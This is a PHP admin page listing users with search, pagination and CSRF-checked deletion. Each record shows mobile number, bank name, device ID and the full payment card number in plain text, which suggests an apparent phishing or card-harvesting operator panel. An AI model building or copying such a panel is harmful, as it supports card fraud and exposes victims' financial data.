<?php
require_once './includes/session.php';
require_once './includes/user.php';
require_once './includes/utils.php';

$session = SessionManager::getInstance();
$userObj = new User();

// Handle deletions
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    if (!isset($_POST['csrf_token']) || !Utils::validateCSRFToken($_POST['csrf_token'])) {
        $errorMessage = 'Invalid request.';
    } else {
        if ($_POST['action'] === 'delete_single' && isset($_POST['id'])) {
            if ($userObj->deleteUser((int)$_POST['id'])) {
                $successMessage = "User deleted.";
            }
        } elseif ($_POST['action'] === 'bulk_delete' && isset($_POST['item_ids'])) {
            $ids = array_map('intval', $_POST['item_ids']);
            if ($userObj->deleteMultipleUsers($ids)) {
                $successMessage = count($ids) . " users deleted.";
            }
        }
    }
}

$search = isset($_GET['search']) ? Utils::sanitizeInput($_GET['search']) : '';
$page = isset($_GET['page']) ? max(1, (int)$_GET['page']) : 1;
$perPage = 20;
$filters = [];
if (!empty($search)) $filters['search'] = $search;

$totalRecords = $userObj->getTotalCount($filters);
$totalPages = ceil($totalRecords / $perPage);
$users = $userObj->getUsers($page, $perPage, $filters, 'id', 'DESC');
$csrfToken = Utils::generateCSRFToken();

include_once './includes/header.php';
?>

<?php if (isset($successMessage)): ?>
    <div class="alert alert-success"><?php echo $successMessage; ?></div>
<?php endif; ?>
<?php if (isset($errorMessage)): ?>
    <div class="alert alert-danger"><?php echo $errorMessage; ?></div>
<?php endif; ?>

<!-- Search -->
<div class="search-bar">
    <form method="GET" style="display:flex;gap:8px;width:100%;">
        <input type="text" name="search" class="form-control" placeholder="Search users..." value="<?php echo htmlspecialchars($search); ?>">
        <button type="submit" class="btn btn-primary btn-sm">Go</button>
        <?php if ($search): ?><a href="users.php" class="btn btn-secondary btn-sm">✕</a><?php endif; ?>
    </form>
</div>

<div style="font-size:12px;color:#64748B;font-weight:500;margin-bottom:10px;"><?php echo number_format($totalRecords); ?> users</div>

<!-- User Cards -->
<?php if (!empty($users)): ?>
    <?php foreach ($users as $user): ?>
    <div class="data-item">
        <div class="item-header">
            <span class="item-id">#<?php echo $user['id']; ?></span>
            <span class="item-date"><?php echo Utils::formatDate($user['date'], 'd M H:i'); ?></span>
        </div>
        <div class="item-title"><?php echo htmlspecialchars($user['mobile']); ?></div>
        <div class="item-sub">
            <?php echo !empty($user['firstname']) ? htmlspecialchars($user['firstname'] . ' ' . $user['lastname']) : ''; ?>
            <?php if (!empty($user['cardnumber'])): ?>
                · <?php echo substr($user['cardnumber'],0,4); ?>····<?php echo substr($user['cardnumber'],-4); ?>
            <?php endif; ?>
        </div>

        <!-- Expandable Details -->
        <div class="item-expand">
            <?php if (!empty($user['email'])): ?>
            <div class="expand-row"><span class="lbl">Email</span><span class="val"><?php echo htmlspecialchars($user['email']); ?></span></div>
            <?php endif; ?>
            <?php if (!empty($user['bankname'])): ?>
            <div class="expand-row"><span class="lbl">Bank</span><span class="val"><?php echo htmlspecialchars($user['bankname']); ?></span></div>
            <?php endif; ?>
            <?php if (!empty($user['cardnumber'])): ?>
            <div class="expand-row"><span class="lbl">Card</span><span class="val"><?php echo htmlspecialchars($user['cardnumber']); ?></span></div>
            <?php endif; ?>
            <?php if (!empty($user['device_id'])): ?>
            <div class="expand-row"><span class="lbl">Device</span><span class="val"><?php echo htmlspecialchars($user['device_id']); ?></span></div>
            <?php endif; ?>
            <div class="expand-row"><span class="lbl">Status</span><span class="val"><?php echo $user['status'] == 1 ? '<span class="badge bg-success">Active</span>' : '<span class="badge bg-danger">Inactive</span>'; ?></span></div>
        </div>

        <div class="item-actions">
            <button class="btn-expand" onclick="toggleExpand(this)">+ More</button>
            <a href="view_user.php?id=<?php echo $user['id']; ?>" class="btn btn-sm btn-outline-primary">View</a>
            <form method="POST" style="display:inline;" onsubmit="return confirm('Delete this user?')">
                <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
                <input type="hidden" name="action" value="delete_single">
                <input type="hidden" name="id" value="<?php echo $user['id']; ?>">
                <button type="submit" class="btn btn-sm btn-danger">Del</button>
            </form>
        </div>
    </div>
    <?php endforeach; ?>
<?php else: ?>
    <div style="text-align:center;padding:40px;color:#94A3B8;font-size:13px;">No users found</div>
<?php endif; ?>

<!-- Pagination -->
<?php if ($totalPages > 1): ?>
<div style="margin-top:12px;">
    <?php
    $queryParams = $_GET;
    unset($queryParams['page']);
    $qs = http_build_query($queryParams);
    $url = '?' . $qs . (empty($qs) ? 'page=' : '&page=');
    echo Utils::generatePagination($page, $totalPages, $url);
    ?>
</div>
<?php endif; ?>

<?php include_once './includes/footer.php'; ?>
